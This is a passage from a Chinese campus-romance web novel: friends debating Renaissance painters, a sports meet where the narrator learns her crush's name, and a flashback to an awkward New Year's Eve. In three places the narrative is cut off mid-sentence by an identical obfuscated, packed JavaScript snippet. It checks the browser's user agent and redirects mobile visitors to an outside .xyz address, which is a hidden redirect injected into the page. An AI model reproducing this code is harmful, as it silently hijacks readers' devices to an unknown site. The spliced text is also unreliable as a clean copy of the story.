随后,凌静宜和郑筱加入了她们,她们激烈地讨论波提切利和提香,共同欣赏《维纳斯的诞生》精致明净的画风和爽利的线条节奏。最后,为列奥纳多和米开朗基罗在市政会议大厅装饰工程中各自的表现争得面红耳赤。 ——李离融入新环境的速度显然比我强很多。 我正在回味那个甜蜜的梦,突然她们四个人把矛头指向了我。 “小西当然是米开朗基罗的支持者,老米是天才!” “达芬奇才是奇迹,他除了是艺术家,还是伟大的科学家。什么叫博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997359|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,你懂吗?!小西,你说呢?” “我能保留意见吗?”说实话,我既不是达芬奇的狂热爱好者,也不是米开朗基罗的粉丝。我最爱的是毕加索,李离一直认为毕加索和梵高都是疯子,尤其是前者。她认为扭曲的线条跟我所支持的立体派超现实主义都犯了荼毒美丽的罪行。 “啊哈,我差点忘记了。小西对启蒙时代没有任何热情。”李离瞟了我一眼,继续说:“她喜欢的都是疯狂的艺术家。” “梵高还是毕加索?”凌静宜轻蔑的目光在她们的脸上来回扫视,昂起头说:“不喜欢毕加索的人懂个屁的艺术!” 李离惊诧地望着她,接着看向我,似乎在怀疑是不是自己的耳朵出了问题。她迟疑地问:“刚刚……她说了懂个屁?” 我同情地看着她,深切地理解三观受到动摇的感受——在几个钟头之前,凌静宜还像一位高贵典雅的名门淑女,现在她像个喝醉了酒的泼妇。 郑筱也以万分同情的眼神看着李离,她走过去拍拍她的肩膀说:“我懂的,被外表所迷惑的不止你一个。” 至于许苑薇,她压根没受到任何影响。说实话,她的表现非常出乎意料,完全不像平时“好好小姐”的样子。她十分坚定地表达了自己对印象派的喜好,“最好的画家难道不是莫奈?光影和谐,色彩饱满,写实之余还有朦胧美。” “印象派只能算伪写实派,所有的画都像未完待续。” 李离对印象派也没什么好感,她是个彻头彻尾的写实主义者。 许苑薇气呼呼地推了推自己的眼镜,像是随时要冲过去跟李离打上一架。幸亏,她只是站在原地,以自己的最高音量喊:“太过分了!你怎么能这么说呢?!” “抽象派夸张的形象,太冲击感官;印象派高饱和度的色彩,让我的眼睛胀痛。”郑筱是目前为止唯一没发表过意见的,她轻轻地说:“其实,我不怎么喜欢西方画派,怎么就没人喜欢泼墨山水画呢?” 我疑惑地看向她手里那本书,莫非那是国画集? 剩下的两个人非常地淡定。 刘小叶除了八卦周刊和漫画之外,不看任何带文字的书,更别提欣赏画作。要不是因为要考试,她甚至连课本都不会翻开(我时常怀疑,她是不是找人替考才上的大学)。如果要打发无聊,她会抱着一整套少女漫画吃着零食消磨一整个下午的时间,她认为人类最伟大的艺术就是发明了漫画。 至于陈梦晓,她对艺术也没有一丁点儿兴趣。如果你跟她讨论德约科维奇和穆雷谁的扣球更漂亮,菲尔普斯和孙杨谁的转身更专业,她绝对乐意跟你聊上一整天。 刘小叶打着哈欠,问陈梦晓:“他们还打算说这些说多久?” 陈梦晓站起来,从房间里抱出一包薯片,拆开之后向刘小叶递了个眼神。后者马上心领神会,悄悄地挪到了她的身边。 她刚刚抓起两片,还没塞进嘴,凌静宜已经瞟到了她。她淡然地说:“你们谁要是把薯片渣掉在毛毯里就死定……” 话还没说完,刘小叶手抖了一下,一片薯片掉在了洁白的地毯上。她刚弯下腰准备捡起来,郑筱一个踉跄把薯片踩了个稀烂。 刘小叶颤巍巍地抬起头,凌静宜的脸色很不好看。趁她还没发火,刘小叶赶紧举起右手,宣誓一样,“我和小陈哥明天就送去干洗,保证洗得比小白兔还白。” 争论结束,已经过了十点半。回房间的时候,刘小叶嘀咕了一句:“为了早就死了几百年的人吵了一个多小时,你们也太有空了。” 她因为八卦讨论中断无比惋惜,与此同时,哀叹她还得找时间送洗毛毯,“周末干洗店开不开门啊?不会还得送去市里洗吧?!” 接着,仰天长叹,“挑休息日开运动会,学校可真抠!我们可怜的假期,就这样白白牺牲了……要不是还有养眼的三剑客,这日子真心没法过了。” 李离旺盛的好奇心马上被吊了起来,“什么三剑客?” 刘小叶马上来劲了,眉飞色舞地向李离讲述铭盛的“美男进化史”,我隐隐约约有一种不祥的预感——李离不会为了看所谓的盛世美颜,就在学校待上三天吧?! 我带着不安,李离带着兴奋,我们俩以两种完全不同的情绪睡在了同一张床上,这是我第一次深切地体会到什么叫同床异梦。 24. 第 24 章 运动会准时举行。操场上广播响起,我赖在被窝里不想起来。气温骤降了好几度,宛如冰河世纪降临。我觉得所有的生命体都能被冻死。估计连老天爷也看不下去了——过冬开运动会,让你们瞎嘚瑟! 陈梦晓早就把日程表拿回了宿舍,她的项目基本排在第二天下午;我本来计划只空出明天下午,给小陈哥加个油助个威,圆满完成任务。至于今天,我压根没打算去操场,反正也不会像上课那样点名签到。 可李离从刘小叶那里知道铭盛三剑客之后,对运动会的热情爆棚,持续发挥她在高中时代的粉丝精神。她强烈要求去看运动会,完美破坏了我们俩的原定计划(其实大部分是李离的计划):在市区的shopping mall四处闲逛,去主题公园消磨时间(李离的少女心异常旺盛,她对米奇老鼠一类的卡通玩偶完全没有抵抗力),吃圣诞大餐,网红咖啡店打卡…… 李离很早就起来了,广播一响,她隔着被子使劲摇晃我的肩膀,“小西,你赶紧起来,运动会都开始了!” 生不如死! 原本可以名正言顺睡到日上三竿的日子,居然被三个活在传说里的男人破坏了。 尽管我把自己裹成了端午的粽子,依然感觉有风不知道从哪儿钻进我的脖子。李离连拖带拽把我弄到了操场上,男生4*400米赛已经开始了。 惊天动地的呼喊声,我以为来到了古罗马战场。需要这么兴奋吗?不能理解。 “你快看呀,李离兴奋地摇晃着我的胳膊:“我的天哪,周小西,你们学校的帅哥也太多了吧?啊啊啊,那个是陆亦!你也太不够意思了,居然没告诉我陆亦在你们学校。” 陆亦?她认识?果然追陈梦晓的陆亦就是Y中的陆亦。 世界原来这么小! 铭盛最好的专业不应该是金融,应该是生物或动植物移栽学——全线嫁接移植“校草”这一物种。哦,不对,还有个漏网的萧楠。 “我的天!oh my god!啊啊啊啊啊!叶翔!第三赛道是叶翔吧?!我不是眼花吧?!” 李离在我耳边大喊,我的鼓膜嗡嗡作响,脑袋轰鸣,她倒是没眼花,我的耳朵快被她喊聋了。 “小西,你快看呀,简直帅毙了!” 顺着她指的方向看过去,啊!是他!竟然是他!我的心猛烈地跳动了一下。 尽管一个多月没再见过他(我去过几次图书馆机房,可一次也没遇上他),他的模样却无比清晰:我总是不断回想起他坐在角落里噙着嘴微笑的样子;他还频繁出现在我的梦里——他认真学习的样子,休息时慵懒的样子,温柔宠溺的样子……虽然我知道,这些不过是我臆想出来的,可还是像认识了他很久,仿佛在另一个时空里捡拾他的点点滴滴。 我不知道他的名字,可这丝毫不妨碍他作为梦境的主角,他甚至渐渐侵袭陆星洺的领地——那些男主或多或少带着他的痕迹。他之于我,不是一个陌生人,而像是一个尘封在记忆深处的生动过往。只等一个机会,便破空而出,以温柔永恒且几近霸道的姿态占据我所有的萌动。 再次见到真实的他,眉眼生动,记忆和梦境丧失了魔力。我的心脏,噗通噗通,急切地跳动。清晰有力。 我在一堆星星眼的女生们冒着巨大粉红色泡泡的呼喊声中努力辨别他的名字。 ——叶翔第一,叶翔加油! ——陆亦最帅,陆亦最强,陆亦无人可敌! ——简瑞洺加油,简瑞洺加油,计算机系牛逼! ——齐海跑啊,快跑啊……你丫再不快点,就倒数了。 刘小叶她们几个不知道什么时候挤了过来,凌静宜显然心思不在运动场上,她问:“究竟我们放弃美好的假期,来看一场人类的集体返祖现象意义何在?” 刘小叶使劲地拉了一下她的胳膊,“你也不怕被唾沫星子淹死。” 幸好荷尔蒙的力量远大于吐槽的声音,少女们的呼声掩盖了凌静宜的不屑。 我呆呆地站在那里,看着静静等待着的少年。他穿着烟灰色T恤和运动长裤,戴着黑色绒线帽子,跟赛场上其他运动员格格不入。唯一标志着运动员身份的是他胸前的号码牌——0408。 清晨的风在我耳边呼啸而过,我忍不住为他打了个寒颤。至于那些穿着背心短裤的运动员是否寒冷,我分不出心力去感叹。 在我神思恍惚的瞬间,那个在我梦里静若处子的少年已经接过了接力棒,一阵风一样向前冲,与此同时,叶翔也接过了队友递过来的接力棒。作为最后一棒,他们几乎同时起步;两个赛道之外的陆亦也起跑了。最后一个400米宛若巨头争霸赛。 鼓膜充斥着超高分贝的声浪,头晕目眩地看着追风少年们渐次冲过终点——叶翔第一,他紧随其后,陆亦第三名。 他一路小跑过去,勾住叶翔的脖颈。叶翔回过头,他们互相击了个掌,分别和随后跑来的陆亦击了个掌,三个人勾肩搭背笑着离开跑道。他似乎不是很在意名次,嘴角微微勾起,神情气定神闲,仿佛刚刚在赛场上猎豹一样的那个人并不是他。 我旁边的女生两手捂住胸口,声音娇嗲,“简学长真的好帅哦!” “对呀,对呀。”她身边穿着粉红色毛绒外套的女孩子拼命,特别像前年圣诞节看见的小熊人偶。 另一个女生用崇拜的口吻说:“简学长的笑容好温暖哦!他戴绒线帽的样子酷毙了!像王子一样……” “明明叶学长最帅!他才像王子!”刘小叶左手的女生愤怒地打断她们,像一只被踩了尾巴的猫一样,音调拔高了八度,姿态如同在舞台上进行诗歌朗诵,“啊!天地是那么宽广!楼宇是那么高大!叶学长是那样的帅气!他是高贵的王子,我希冀有一天能够成为与他并肩的女神!” “女神?”刘小叶轻声嘀咕,“女神经还差不多。” 她望向被她以“体验大学生活,积极参与集体活动”名义生拉硬拽来的另一受害者许苑薇,压低声音问她:“最近又有哪个系在排话剧吗?” 许苑薇扶了下眼镜,茫然地摇了摇头。 我只听到了三个字,原来他姓简。 紧接着,凌静宜的喉咙里发出一声响亮的干呕。 “你什么意思?!” 我朝那个女生看过去,她大概176-178cm,胳膊伸在藕粉色的斗篷之外,透过看似柔美的灯笼袖,我看见了她强壮的肱二头肌。化的妆很浓。从我的角度看,她的睫毛被拉扯到了眼睛上三厘米,刷得根根分明,在直径5厘米的范围内上下颤动;眼线向着眉尾飞去,在九点半的寒冷空气里跟它的主人一样愤怒地挺立着。 刘小叶跟我交换了一个眼神——这可不是个善男信女。 “我不是故意的”,凌静宜拍了拍自己的胸口,“只是觉得有些恶心。” 那个女孩子的脸色变得很难看。凌静宜成功将解释变成了战争升级。 “你说谁恶心?!” “我恶心自己的,关你什么事儿!” 我赶紧挤到凌净宜前面,冲着她摊摊手,万分诚恳地说:“她为了赶来看比赛,早上吃了第三食堂的小笼包……” 刘小叶火速补了一句:“还有锅贴。” 对方的脸上即刻浮出了一副感同身受的表情,并以“啊~原来是这样,她应该早点说嘛”结束了对话。我和刘小叶呼出一口气。 凌静宜一脸疑惑,刘小叶轻声跟她解释第三食堂暗黑系早餐的杀伤力,不幸去第三食堂吃过早餐的人无一例外都对小笼包和锅贴这两种食物产生了严重的不适反应。 满世界的少女心重新回归,女生们继续热烈讨论。 “真没想到,简学长会来参加运动会。”那个声音娇嗲的女生来回晃动身体,童音像是刻意模仿某位台湾女星,“简学长那么帅还那么有才华,听说他超忙的呢……” “对耶,他不是应该忙着跟那些什么V什么C的谈投资吗?” “不懂别瞎逼逼。什么V什么C,还VCD呢!”一个瘦高个画着烟熏妆的女生鄙夷地说:“那是Venture Capital,风险投资,简称VC。不懂多读点书,别给男神丢脸。” 周围愈发喧杂,不少女生七嘴八舌地攻击烟熏妆。 ——就你懂得多,穷显摆什么呀。 ——那么能耐,怎么也没见简学长待见你啊。 ——就是,就是,简学长怎么会认识她这种小太妹,博眼球博出位也得看看自己是什么货色。 凌静宜翻了一个地球人都能看见的大白眼,她刚刚说了一个“无……”我迅速地捂住了她的嘴巴,刘小叶给了我一个崇拜的眼神。她奋力掰开我的手指,马上从包里抽出一包湿纸巾,一边用很大的力气擦拭嘴唇一边愤恨地向我喷射毒液——“脏死了!!!周小西,你今天完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997360|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋了。” “我是在救你!” 虽然嘴上没服软,行动上却很怂,我迅速躲到了许苑薇和刘小叶的身后。发怒的凌静宜,杀伤力堪比投向广岛的原子弹,我可不想自己尸骨无存。 后来,她跟我们形容当时的感受——我真想对那个烟熏妆竖大拇指!被那些屁都不懂还超级肤浅的人崇拜,真是一种侮辱。 站台的另一头,萧楠的脸色很不好看。 他跟所有人一样,刚开始时注意力全都在比赛上。叶翔一路领先之后,他开始心不在焉,四处张望;其实,比赛还没开始,他已经搜寻过一遍观众台了,没有看到想见的人。 压根不用费力寻找,周小西出现的地方总是追随着很多男生躲躲闪闪的目光,而她自己好像一无所知。高中时候她去看比赛的那次,他看到她并不是偶然。看到她的那一刻,萧楠的嘴角不经意向上扬起。下一秒,他的笑容消失了,他发现她的眼光像是聚光灯一样追着一个人。他认识那个人——叶翔的合作伙伴,一个被称为计算机天才的怪异少年。 对于别的事情他不敢说自己天赋异禀,但有一点毋庸置疑——他天生对于威胁和危险有着敏锐的感受力。 叶翔挥着右手走向观众席,伸出手想跟萧楠碰个拳头。他的拳头举在半空中,萧楠没有回应他。 “嘿,你想什么呢?”他大声冲萧楠喊。 萧楠回过神,露出玩世不恭的笑容,“好样的,小猎豹。”他们重重地击拳。 叶翔转过身,一脸春风得意。他的眼神逡巡了一圈之后,定定投射在我们这一块区域,紧接着脸上绽放大大的笑容。 陆亦从终点线往回走,他和萧楠击了个掌,走到叶翔身边。 这一幕,和高中时代的那一幕重叠在一起,好像时光倒流。到底什么是不会改变的?友情似乎是一种吧。 奇怪,他呢?我的目光在运动员堆里逡巡,找寻他的身影。 突然,他出现在视线里,如一只悄悄捕食的狮子,从背后一把圈住叶翔“看什么呢?”。他的目光落在观众席上,像镭射笔一样来回扫视;嘴角依然保持上扬的弧度,淡漠中带着些许茫然。那一群乌泱泱吵得要命的观众,有什么好看的? “凌静宜,叶翔在对你笑耶。”刘小叶那颗熊熊燃烧的姨母心简直能把冬日的寒风变成和煦的春风。 凌静宜瞪了她一眼,拎着包从人群中挤了出去,“我回家了。” 我同情地看了一眼刘小叶,尽管被凌静宜嫌弃是一种常态,只是刘小叶被嫌弃的频率高得离谱。 顺着刘小叶挥着的胳膊看过去,叶翔正偏开头追踪凌静宜离开,我和他的目光恰好对上——感觉呼吸一窒,脑子里似乎有一枚信号弹猛然窜上天空,在漆黑一片的夜空里炸裂开来,瞬间亮如白昼。浅浅的微笑落在他的唇边,犹如温暖的阳光下闲适地走在小河边的小鹿,柔软的皮毛,泛着银色波光的河水,温暖和煦的微风…… 冥冥之中,似乎早有安排。没有早一秒,也没有晚一秒,我就这样猝不及防地对上了他的视线。 当时我只顾得上内心的悸动和震撼,没有任何思考能力,大概只有经历过的人才明白那是一个什么样的瞬间——风云聚散,万物重生,都及不上那种美好的一丝半点。后来回想起来,动人心魄的感觉渐渐消散,犹如羽毛撩心的战栗却一直在心中停留,时不时翻涌上来,占据情绪高地。 李离旁边的姑娘捂住胸口,高喊着:“我的天,叶学长……叶学长!!还有简学长!他们都在对我笑!!我的天,我不是在做梦吧!我简直幸福得要晕倒了!!” 话音还没落,她倒在了李离身上。 李离一脸懵逼,“说晕还真晕,小西,你们学校的姑娘真实在。” 我们几个手忙脚乱地把她抬到医务室。 广播开始播报男子4X400米的成绩,我的手心里微微出了汗,潮湿的感觉让我莫名有些心烦意乱。 ——第一名:叶翔 ——第二名:简瑞洺 ——第三名:陆亦 我终于知道了他的名字。这是老天爷对我牺牲睡眠做出的最大奖励。原来他是刘小叶口中的“三剑客”之一,谁能想到呢? 根据刘小叶的情报,叶翔和陆亦最后一天还有400米和100米比赛,简瑞洺只参加4*400米,也就说,他的比赛全告终结。我瞬间失去了刚刚燃起的热情。 25. 第 25 章 第二天一早,学校的喇叭又在七点半准时响了。我睡得不好,天还没亮就醒了,满脑子都是跟他对视的那一瞬间。李离意兴阑珊地窝在被子里抱怨,“你们W市怎么这么冷。” 刘小叶翻了个身趴着,嘟囔着,“今天还升了1度呢,昨天怎么没见你抱怨……原来美男还有空调的功能呢。” 我正用手机搜索“简瑞洺”,整一个屏幕都是他的新闻。就像刘小叶说的,他有自己的游戏公司,看看新闻上的用词——冉冉升起的游戏新秀,来势汹汹的业界颠覆者。我喜欢写作者的用词,看上去清秀温暖的男生,实际上却像一把锐利的军刀一样。我一贯喜欢有着强烈反差的人物。 忍不住用手指摩挲他的照片。我躺在床上,感觉却像在暖洋洋的太阳下散步。碧绿色的青草带着露水散发着清香,花儿缓缓地绽放,天空里偶尔有几只鸟儿飞过,翅膀划过的地方留下一道隐形的痕迹。反反复复地默念他的名字,我拿着手机,甜蜜地笑了。 李离的头伸过来,脸颊靠着我的肩膀,问:“你看什么呢……笑得那么开心。” 我慌忙按下Home键,把手机塞到枕头下面,“没看什么,就是娱乐八卦。” 李离将信将疑,翻身开始抢我手机,“让我看看。你什么时候开始关心娱乐新闻了?” 我们俩扭在一起,她的内衣带子从肩膀上滑了下去,扣子也不知道怎么弄开了。“你别动,我来帮你。”我把手从她衣服里伸进去,大概是我的手放在被子外面冻得有些冰冷,她低低地叫了一声。 刘小叶从对面床上转头看过来,迅速烧红了脸,“你们继续……我什么都没看见。”我用脚趾想一想都知道,她现在肯定满脑子带颜色画面。 我哭笑不得,继续她妹啊。 李离倒是毫不在意,隔着被子抱住我,暧昧地在我耳畔吹了一口气,“要不要再睡一会儿?” 我像吞了苍蝇一样嫌弃地推开她,尖叫了一声:“你干什么呀!” 没等我跳起来,刘小叶鞋子都没穿好就冲到了我们床前。她迅速把我从李离身边扯起来,像护鸡仔的老母鸡一样把我挡在身后,“离我们家小西远一点。” 我只穿了一件薄睡裙,光着两条腿站在地上,冻得瑟瑟发抖。 李离裹紧了被子,对刘小叶说:“你确定要在W市零下七度的清晨,让小西光脚站在地上,而不是回到温暖的床上来? ” 我还没表达意见,刘小叶就把我推到了她的床上,自己也迅速滚上床,把被子裹在我们身上。动作行云流水,迅猛得如同一头小猎豹,我看得目瞪口呆,惰性运动细胞活动起来,效率惊人。 “啊哈……现实版的只许州官放火,不许百姓点灯。”李离把手枕在脑袋下面,漫不经心地嘲讽:“安啦,安啦,我才不是蕾丝边。” 刘小叶鄙视地看着李离,从牙缝里挤出几个字:“谁能证明?” “爱信不信……”李离拖了长音,声音慵懒,“如果我是蕾丝边,早就把小西拿下了,还有别人什么事儿?” “那可不一定。我敢说只要凌静宜出马,横刀夺爱这事儿不在话下。” 李离一听来了精神,转身趴在我床上,一本正经地问:“说真的,你说如果是凌静宜,她会怎么追万年铁树周小西呢?” 这两个人讨论得热火朝天,差不多都要脑补出凌静宜和我的百合大剧场了,完全忽略了被讨论的对象此刻正在现场。 “你们俩能考虑下当事人的感受吗?” “你别插嘴!”她们俩异口同声。 又躺了大概二十多分钟,刘小叶翻了个身,支起半个身子嚷嚷:“好无聊啊……不如我们今天去市区逛逛吧。明天就是圣诞节,难道我们就集体窝在宿舍里睡觉?” “你不是有男朋友吗?”李离好奇地问。 我也好奇欧祈在这种重要的节日居然会缺席。 刘小叶叹了口气,弱弱地抱怨了一句:“他圣诞节后就要考试了,周末得复习。”她把整张脸埋进枕头里,又叹了口气:“铭盛离市区也太远了。” 也对,偌大的W市,两个不同学校的情侣跟异地恋也没什么差别了。 我还没开口抨击欧祈,她突然像无脊椎的软体生物一样来回扭动。 “你怎么了?是哪儿不舒服吗?”我以为她是胃痉挛或者腿抽筋。 她蹭在枕头上来回摇头,我只能看到她乱得像颗花椰菜一样的后脑勺。 过了好一会儿,她才支支吾吾地说:“不过……我们约好了……一起跨年。” “一起跨年?”李离暧昧地眨眨眼睛,别有深意地说:“那不是要住在外面了?” 刘小叶的脸刷的一下红了,小声地说:“那个……那个,还不一定呢。” “骗谁呢?”李离往被子里缩了缩,只露出两只眼睛,语气里透着怀疑,“跨完年都几点了,就算打得到车,宿舍也不开门了吧?” “住在外面怎么了……又不代表一定会发生什么……”刘小叶有点心虚,她拉了拉被子,把自己裹成了一条胖乎乎的蚕。 “那可说不准……”李离还没说完,刘小叶就打断了她:“哎……别光说我,你们打算怎么跨年?” “我们?” 李离陷入了思考当中,至于我,今天之前倒是丝毫没想到这个问题。跨年这种仪式感十足的活动与我绝缘,尤其是有过一次不怎么愉快的经历。 刘小叶成功地逃开了李离的话题狙击,也成功地唤起了我对于跨年的遥远记忆。 那是在三年前,我们还在上高一。为了庆祝我们成了高中生,李离兴致勃勃地提议一起去觅意港跨年——其实,真正的原因是:高中她开始住校,11点之前必须回家的规定失去了约束力。觅意港零点开始放烟火,结束了之后她可以跟我回家住——经过软磨硬泡,我爸终于同意解除重大节假日十二点前必须到家的门禁要求。 李离对跨年的兴奋大概来源于对成人世界的向往。 我们迫不及待地想要长大,想要摆脱大人给我们设置的条条框框,却全然没有想到我们是否有能力在条条框框之外生活得如鱼得水。 李离说为了给彼此一个惊喜,我们直接在觅意港见面。那天超级冷,我在家磨蹭着不想出门。直到快10点,李离打电话说她已经上地铁了,我才不情不愿地出了门。 似乎整个M市的人都在狂欢,人很多,车也很多。 离觅意港还有两条马路,路上已经堵得不成样子,到处都是人,汽车根本开不过去。我只能下车,让陈叔先回去,跟着人潮往前挪。 所有人挤在一起,基本上都是年轻人。很多男生穿着臃肿的羽绒服,也有年轻姑娘为了漂亮仍然穿着短裙冻得瑟瑟发抖。我穿着白色羽绒服,用围巾裹着脸,只露出两只眼睛,感觉自己像是劫匪。 小情侣们拥抱在一起,我被挤得不能动弹,跟别人的距离近到能听见他们的呢喃细语。我快要崩溃了,头皮一阵阵发麻,突然手机响了,我费了吃奶的劲儿从口袋里掏出手机,但没办法举到耳边,只能按了扬声器。声音特别嘈杂,李离在电话里大喊:“小西,人太多了,我们先去居仙路和凌波路交叉口碰面吧。” 好不容易才挤出人群,我大口呼吸了两口,朝着凌波路走去。凌波路上也有不少人,但至少不会人挨着人。我回头看了一眼,原先那个黑压压的人群像是迁徙的蚂蚁部队。 快要走到居仙路路口时,我看见李离站在街灯下,向我挥手。突然一个人从后面冲过来抱住了我,他的脸贴着我的头发,一个很年轻的男人的声音,带着笑意说:“你怎么这么聪明,这条路我才带你走过一次你都记得!”我浑身一僵,鸡皮疙瘩爬满身体,脑子里却一片空白,像根木桩一样杵在原地。身后的人继续兴奋地说:“你怎么不说话?” 李离冲过来一把推开那个男的,劈头盖脸一顿狂打,骂道:“你个大色狼!还不放开!” 那个男生突然被袭击,似乎懵住了,完全没反应过来,闪躲着大喊:“你谁啊?!是不是疯了?我抱我女朋友关你什么事啊!” “你女朋友!你女朋友!”李离一边打他一边咆哮:“小西什么时候成你女朋友了?!” “什么小西?我女朋友叫蔡攸悠!”男生一把抓住了李离攻击他的手,把她拽到我面前,“你看清楚!!” 话音没落,他看到了我的眼睛。愣了几秒,他的脸涨红,“那个……我认错人了……对不起!” 李离努力挣扎着挥动她的胳膊,方圆500米都能听到她的怒吼声。 “你不要脸!” “占了便宜就说自己认错人了!” “认错人怎么没见你抱个丑八怪!” “我们家小西从来没被人抱过!就让你抱了!” “你不是说你有女朋友?把你女朋友叫出来评评理!” “还有人能把女朋友都认错的!你怎么没认错你妈呢?!” “你个大色狼!还不松开我?!” …… 那个男生慌慌张张地松开手,“那你们说怎么办?”他的脸涨得像猪肝一样,“不然我让你们抱一下,大家算扯平了。” “想得美!”李离望向他的眼神嘲讽且愤怒,轻蔑地说。 我们三个人在马路中间僵持着,来来往往的人时不时回头看一眼,然后事不关己匆匆走开。这时候,他的手机响了。他哆嗦了一下,想去摸电话。李离反手揪住他的袖子,斜眼看他。街灯有些暗,但我依然清晰地看见他的额头上沁出了密密的汗水。 “你们说怎么办就怎么办,行不行?”他咬牙切齿,几乎用低吼的声音嚷:“先让我接个电话!” “算了,他大概也不是故意的。”我终于脑子清醒了:隔着厚厚的衣服没有实质的接触,只是被人贴着头发让我感觉恶心(除了爸妈之外,我讨厌任何人碰我的头发)。我怕再待下去,会忍不住吐出来。况且,僵持也不能解决什么问题。 “小西!”李离拉着我的胳膊,一脸的愤懑不平,“这个大色狼!就这么放过他?!” “不然呢?”我忍住不适感,问:“打他一顿还是报警?估计警察也不会管的。” 李离气恼地跺脚,冲着他愤怒地喊:“滚滚滚!今天便宜你了!” 那个男生腆着脸迅速地从我们身边跑开,好像我们俩是什么妖魔鬼怪一样。 经历了这么一小段不愉快,我已然没了跨年的兴致。为了不扫李离的兴,我提议先去买个喝的,给我俩压压惊。平时排队快绕三圈的某网红饮品店,今天居然罕见的只有稀稀拉拉的十几号人,只排了二十分钟就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997361|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买到了它家的招牌热饮。我的心情慢慢回温,李离的情绪如过山车行至最高点,我在她絮絮叨叨对奶茶的赞美声中拉了拉围巾裹住耳朵。 喝完自己的一整杯焦糖玛奇朵,在我的万分嫌弃和鄙视下,强行喝了两口我的红茶玛奇朵,李离彻底告别了愤怒。 新年的钟声响起来,李离一脸兴奋地大喊着“Happy New Year”,转身抱住了——她旁边的男生。她还没有反应过来,那个男生瞪大了双眼,随即大口地呼出了一口气。最尴尬的不是这个,而是男生旁边的女生尖叫了一声:“你们在干什么?!” “对不起……我认错人了……对不起!”李离的脸红得快滴出血来,声音支离破碎。 那个女生不依不饶,忿然不平,“认错人?!我看你是想趁机吃我男朋友豆腐吧?!” 李离的脸煞白,“有没有搞错?!天下男的死光了,我都不会吃他豆腐!” 我定睛一看,发现李离错抱的居然是刚刚那个错把我当女朋友的男生——真是冤家路窄! “像你们这种妖艳贱货,专门勾搭别人男朋友!” 我看了一眼裹成粽子一样的我俩和穿着超短迷你裙外面披着白色羽绒服的她,真不知道谁才是妖艳贱货! 李离快气疯了,挥舞着胳膊,“谁都别拦着我,看我不撕烂你的嘴!” “小浪蹄子,还想打我?!”迷你裙也挥舞着胳膊想要掠过她男朋友来抓李离。 我目测了下身高,如果真打起来,双方大概能抓头发互殴。 男生抓住迷你裙的肩膀,把她往回拉。 我也只能死命拉住李离,不然她非得冲上抓破那个女生的脸。虽然我也很想把迷你裙一把推下江,可我仍然保持了最后的一点理智:现场人声鼎沸,来跨年看烟花的人必然热衷于看热闹。尽管我裹得可能连我亲妈都不认识,可谁知道会不会有人眼尖。要是再倒霉地出现在明日头条上,“觅意港圣诞夜惊魂,两女撕扯落水,周利伟女儿牵涉其中”,我就彻底没脸了!! “筱筱,好了,你过分了啊!”男生吼了一声。 迷你裙瞬间万分委屈,跟刚才的河东狮吼判若两人,她呜呜了两声,“你凶人家……你居然为了别的女生凶人家!!” 李离在这种情况下居然还能腾出空跟我对望了一眼,我们在彼此的眼神里看到“绿茶婊的七种典型表现”。 短裙女奋力扒开人群往外挤,从我们旁边挤过去的时候,她白了我们俩一眼,也不怕美瞳从眼睛里掉出来,恶狠狠地说:“今天便宜你们了!” 没等李离回嘴,那个男生压低声音嘟囔了一句,李离的眼睛瞪得跟核桃仁一样,咒骂:“真不要脸!” “他刚才跟你说了什么?”我只看到他嘴巴动了动,嘈杂的环境根本听不清他说了什么。 这次轮到李离咬牙切齿,“那个臭不要脸的,他说这下大家扯平了。” 那一次跨年以尴尬结束。 半空中升腾绽放的烟火美得炫目,而我们俩的心情就像烟花燃烧过后的一地狼藉。漆黑的夜幕什么都没留下,好像刚才的绚烂只不过是一场幻觉。我们俩在回去的路上甚至都没有说话,这真的不是什么值得珍藏和炫耀的记忆。 更加尴尬的是,那个男生居然跟我们在同一个学校,比我们高一届。在学校里碰见一次后,我们和他经常在学校的不同地方碰见,刚开始我们觉得尴尬,后来装作若无其事。 每次碰见,那个倒霉蛋都逃不过李离的一顿咒骂。 “那个臭不要脸的,肯定是喜欢上你了。哪有那么多巧合!” “怎么在哪都能碰到那个臭不要脸的!!!” “下次再来我们面前晃悠,我非得吐他一脸唾沫!” 后来,不知道李离怎么知道了他的名字——应明,她翻了个白眼吐槽:“连自己女朋友都认错,我看他应该叫应瞎!” 这种情况一直持续到了他毕业,接下来,由于面临着惨烈的高三生活,我也将这个人抛诸脑后。李离也没再提起过他,我想当然地认为她和我一样,忙着在题海中舍生忘死。 